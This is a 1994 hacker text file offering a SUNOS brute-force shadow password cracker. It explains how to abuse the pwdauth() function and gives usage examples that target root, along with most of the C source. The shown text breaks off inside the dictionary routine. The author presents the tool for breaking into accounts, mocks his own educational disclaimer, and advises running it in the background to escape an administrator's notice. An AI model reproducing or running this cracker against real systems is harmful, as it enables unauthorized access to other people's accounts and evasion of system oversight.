**************************************************************************** *********************************** * Unix Hacking Tools of the Trade * * * * By * * * * The Shining/UPi (UK Division) * *********************************** Disclaimer : The following text is for educational purposes only and I strongly suggest that it is not used for malicious purposes....yeah right! Introduction : Ok, I decided to release this phile to help out all you guys who wish to start hacking unix. Although these programs should compile & run on your system if you follow the instructions I have given, knowing a bit of C will come in handy if things go wrong. Other docs I suggest you read are older 'phrack' issues with shooting sharks various articles on unix, and of course, 'Unix from the ground up' by The Prophet. This article includes three programs, a SUNOS Brute force Shadow password file cracker, The Ultimate Login Spoof, and a Unix Account Validator. Shadow Crack ------------ SUNOS Unix brute force shadow password file cracker --------------------------------------------------- Well, a while back, I saw an article in phrack which included a brute force password cracker for unix. This was a nice idea, except that these days more and more systems are moving towards the shadow password scheme. This, for those of you who are new to unix, involves storing the actual encrypted passwords in a different file, usually only accessible to root. A typical entry from a System V R4 password file looks like this :- root:x:0:1:Sys. admin:/:/bin/sh with the actual encrypted password replaced by an 'x' in the /etc/passwd file. The encrypted password is stored in a file(in the case of sysV) called /etc/shadow which has roughly the following format :- root:XyfgFekj95Fpq::::: this includes the login i.d., the encrypted password, and various other fields which hold info on password ageing etc...(no entry in the other fields indicate they are disabled). Now this was fine as long as we stayed away from system V's, but now a whole load of other companies have jumped on the bandwagon from IBM (aix) to Suns SUNOS systems. The system I will be dealing with is SUNOS's shadowed system. Now, like sysV, SUNOS also have a system whereby the actual encrypted passwords are stored in a file usually called /etc/security/passwd.adjunct, and normally this is accessible only by root. This rules out the use of brute force crackers, like the one in phrack quite a while back, and also modern day programs like CRACK. A typical /etc/passwd file entry on shadowed SUNOS systems looks like this :- root:##root:0:1:System Administrator:/:/bin/csh with the 'shadow' password file taking roughly the same format as that of Sys V, usually with some extra fields. However, we cannot use a program like CRACK, but SUNOS also supplied a function called pwdauth(), which basically takes two arguments, a login name and decrypted password, which is then encrypted and compared to the appropriate entry in the shadow file, thus if it matches, we have a valid i.d. & password, if not, we don't. I therefore decided to write a program which would exploit this function, and could be used to get valid i.d's and passwords even on a shadowed system! To my knowledge the use of the pwdauth() function is not logged, but I could be wrong. I have left it running for a while on the system I use and it has attracted no attention, and the administrator knows his shit. I have seen the functions getspwent() and getspwnam() in Sys V to manipulate the shadow password file, but not a function like pwdauth() that will actually validate the i.d. and password. If such a function does exist on other shadowed systems then this program could be very easily modified to work without problems. The only real beef I have about this program is that because the pwdauth() function uses the standard unix crypt() function to encrypt the supplied password, it is very slow!!! Even in burst mode, a password file with 1000's of users could take a while to get through. My advice is to run it in the background and direct all its screen output to /dev/null like so :- shcrack -mf -uroot -ddict1 > /dev/null & Then you can log out then come back and check on it later! The program works in a number of modes, all of which I will describe below, is command line driven, and can be used to crack both multiple accounts in the password file and single accounts specified. It is also NIS/NFS (Sun Yellow Pages) compatible. How to use it ------------- shcrack -m[mode] -p[password file] -u[user id] -d[dictionary file] Usage :- -m[mode] there are 3 modes of operation :- -mb Burst mode, this scans the password file, trying the minimum number of password guessing strategies on every account. -mi Mini-burst mode, this also scans the password file, and tries most password guessing strategies on every account. -mf Brute-force mode, tries all password strategies, including the use of words from a dictionary, on a single account specified. more about these modes in a sec, the other options are :- -p[password file] This is the password file you wish to use, if this is left unspecified, the default is /etc/passwd. NB: The program automatically detects and uses the password file wherever it may be in NIS/NFS systems. -u[user id] The login i.d. of the account you wish to crack, this is used in Brute-force single user mode. -d[dict file] This uses the words in a dictionary file to generate possible passwords for use in single user brute force mode. If no filename is specified, the program only uses the password guessing strategies without using the dictionary. Modes ^^^^^ -mb Burst mode basically gets each account from the appropriate password file and uses two methods to guess its password. Firstly, it uses the account name as a password, this name is then reversed and tried as a possible password. This may seem like a weak strategy, but remember, the users passwords are already shadowed, and therefore are deemed to be secure. This can lead to sloppy passwords being used, and I have came across many cases where the user has used his/her i.d. as a password. -mi Mini-burst mode uses a number of other password generating methods as well as the 2 listed in burst mode. One of the methods involves taking the login i.d. of the account being cracked, and appending the numbers 0 to 9 to the end of it to generate possible passwords. If this mode has no luck, it then uses the accounts gecos 'comment' information from the password file, splitting it into words and trying these as passwords. Each word from the comment field is also reversed and tried as a possible password. -mf Brute-force single user mode uses all the above techniques for password guessing as well as using a dictionary file to provide possible passwords to crack a single account specified. If no dictionary filename is given, this mode operates on the single account using the same methods as mini-burst mode, without the dictionary. Using shadow crack ------------------ To get program help from the command line just type :- $ shcrack which will show you all the modes of operation. If you wanted to crack just the account 'root', located in /etc/passwd(or elsewhere on NFS/NIS systems), using all methods including a dictionary file called 'dict1', you would do :- $ shcrack -mf -uroot -ddict1 to do the above without using the dictionary file, do :- $ shcrack -mf -uroot or to do the above but in password file 'miner' do :- $ shcrack -mf -pminer -uroot to start cracking all accounts in /etc/passwd, using minimum password strategies do :- $ shcrack -mb to do the above but on a password file called 'miner' in your home directory do :- $ shcrack -mb -pminer to start cracking all accounts in 'miner', using all strategies except dictionary words do :- $ shcrack -mi -pminer ok, heres the code, ANSI C Compilers only :- ---cut here------------------------------------------------------------------- /* Program : Shadow Crack Author : (c)1994 The Shining/UPi (UK Division) Date : Released 12/4/94 Unix type : SUNOS Shadowed systems only */ #include #include #include #include #include #define WORDSIZE 20 /* Maximum word size */ #define OUTFILE "data" /* File to store cracked account info */ void word_strat( void ), do_dict( void ); void add_nums( char * ), do_comment( char * ); void try_word( char * ), reverse_word( char * ); void find_mode( void ), burst_mode( void ); void mini_burst( void ), brute_force( void ); void user_info( void ), write_details( char * ); void pwfile_name( void ), disable_interrupts( void ), cleanup(); char *logname, *comment, *homedir, *shell, *dict, *mode, *pwfile, *pwdauth(); struct passwd *getpwnam(), *pwentry; extern char *optarg; int option, uid, gid; int main( int argc, char **argv ) { disable_interrupts(); system("clear"); if (argc < 2) { printf("Shadow Crack - (c)1994 The Shining\n"); printf("SUNOS Shadow password brute force cracker\n\n"); printf("useage: %s -m[mode] -p[pwfile] -u[loginid] ", argv[0]); printf("-d[dictfile]\n\n\n"); printf("[b] is burst mode, scans pwfile trying minimum\n"); printf(" password strategies on all i.d's\n\n"); printf("[i] is mini-burst mode, scans pwfile trying both\n"); printf(" userid, gecos info, and numbers to all i.d's\n\n"); printf("[f] is bruteforce mode, tries all above stategies\n"); printf(" as well as dictionary words\n\n"); printf("[pwfile] Uses the password file [pwfile], default\n"); printf(" is /etc/passwd\n\n"); printf("[loginid] Account you wish to crack, used with\n"); printf(" -mf bruteforce mode only\n\n"); printf("[dictfile] uses dictionary file [dictfile] to\n"); printf(" generate passwords when used with\n"); printf(" -mf bruteforce mode only\n\n"); exit(0); } /* Get options from the command line and store them in different variables */ while ((option = getopt(argc, argv, "m:p:u:d:")) != EOF) switch(option) { case 'm': mode = optarg; break; case 'p': pwfile = optarg; break; case 'u': logname = optarg; break; case 'd': dict = optarg; break; default: printf("wrong options\n"); break; } find_mode(); } /* Routine to redirect interrupts */ void disable_interrupts( void ) { signal(SIGHUP, SIG_IGN); signal(SIGTSTP, cleanup); signal(SIGINT, cleanup); signal(SIGQUIT, cleanup); signal(SIGTERM, cleanup); } /* If CTRL-Z or CTRL-C is pressed, clean up & quit */ void cleanup( void ) { FILE *fp; if ((fp = fopen("gecos", "r")) != NULL) remove("gecos"); if ((fp = fopen("data", "r")) == NULL) printf("\nNo accounts cracked\n"); printf("Quitting\n"); exit(0); } /* Function to decide which mode is being used and call appropriate routine */ void find_mode( void ) { if (strcmp(mode, "b") == NULL) burst_mode(); else if (strcmp(mode, "i") == NULL) mini_burst(); else if (strcmp(mode, "f") == NULL) brute_force(); else { printf("Sorry - No such mode\n"); exit(0); } } /* Get a users information from the password file */ void user_info( void ) { uid = pwentry->pw_uid; gid = pwentry->pw_gid; comment = pwentry->pw_gecos; homedir = pwentry->pw_dir; shell = pwentry->pw_shell; } /* Set the filename of the password file to be used, default is /etc/passwd */ void pwfile_name( void ) { if (pwfile != NULL) setpwfile(pwfile); } /* Burst mode, tries user i.d. & then reverses it as possible passwords on every account found in the password file */ void burst_mode( void ) { pwfile_name(); setpwent(); while ((pwentry = getpwent()) != (struct passwd *) NULL) { logname = pwentry->pw_name; user_info(); try_word( logname ); reverse_word( logname ); } endpwent(); } /* Mini-burst mode, try above combinations as well as other strategies which include adding numbers to the end of the user i.d. to generate passwords or using the comment field information in the password file */ void mini_burst( void ) { pwfile_name(); setpwent(); while ((pwentry = getpwent()) != (struct passwd *) NULL) { logname = pwentry->pw_name; user_info(); word_strat(); } endpwent(); } /* Brute force mode, uses all the above strategies as well using a dictionary file to generate possible passwords */ void brute_force( void ) { pwfile_name(); setpwent(); if ((pwentry = getpwnam(logname)) == (struct passwd *) NULL) { printf("Sorry - User unknown\n"); exit(0); } else { user_info(); word_strat(); do_dict(); } endpwent(); } /* Calls the various password guessing strategies */ void word_strat() { try_word( logname ); reverse_word( logname ); add_nums( logname ); do_comment( comment ); } /* Takes the user name as its argument and then generates possible passwords by adding the numbers 0-9 to the end. If the username is greater than 7 characters, don't bother */ void add_nums( char *wd ) { int i; char temp[2], buff[WORDSIZE]; if (strlen(wd) < 8) { for (i = 0; i < 10; i++) { strcpy(buff, wd); sprintf(temp, "%d", i); strcat(wd, temp); try_word( wd ); strcpy(wd, buff); } } } /* Gets info from the 'gecos' comment field in the password file, then process this information generating possible passwords from it */ void do_comment( char *wd ) { FILE *fp; char temp[2], buff[WORDSIZE]; int c, flag; flag = 0; /* Open file & store users gecos information in it. w+ mode allows us to write to it & then read from it. */ if ((fp = fopen("gecos", "w+")) == NULL) { printf("Error writing gecos info\n"); exit(0); } fprintf(fp, "%s\n", wd); rewind(fp); strcpy(buff, ""); /* Process users gecos information, separate words by checking for the ',' field separater or a space. */ while ((c = fgetc(fp)) != EOF) { if (( c != ',' ) && ( c != ' ' )) { sprintf(temp, "%c", c); strncat(buff, temp, 1); } else flag = 1; if ((isspace(c)) || (c == ',') != NULL) { if (flag == 1) { c=fgetc(fp); if ((isspace(c)) || (iscntrl(c) == NULL)) ungetc(c, fp); } try_word(buff); reverse_word(buff); strcpy(buff, ""); flag = 0; strcpy(temp, ""); } } fclose(fp); remove("gecos"); } /* Takes a string of characters as its argument(in this case the login i.d., and then reverses it */ void reverse_word( char *wd ) { char temp[2], buff[WORDSIZE]; int i; i = strlen(wd) + 1; strcpy(temp, ""); strcpy(buff, ""); do { i--; if ((isalnum(wd[i]) || (ispunct(wd[i]))) != NULL) { sprintf(temp, "%c", wd[i]); strncat(buff, temp, 1); } } while(i != 0); if (strlen(buff) > 1) try_word(buff); } /* Read one word at a time from the specified dictionary for use as possible passwords, if dictionary filename is NULL, ignore this operation */ void do_dict( void ) { FILE *fp; char buff[WORDSIZE], temp[2]; int c; strcpy(buff, ""); strcpy(temp, ""); if (dict == NULL) exit(0); if ((fp = fopen(dict, "r")) == N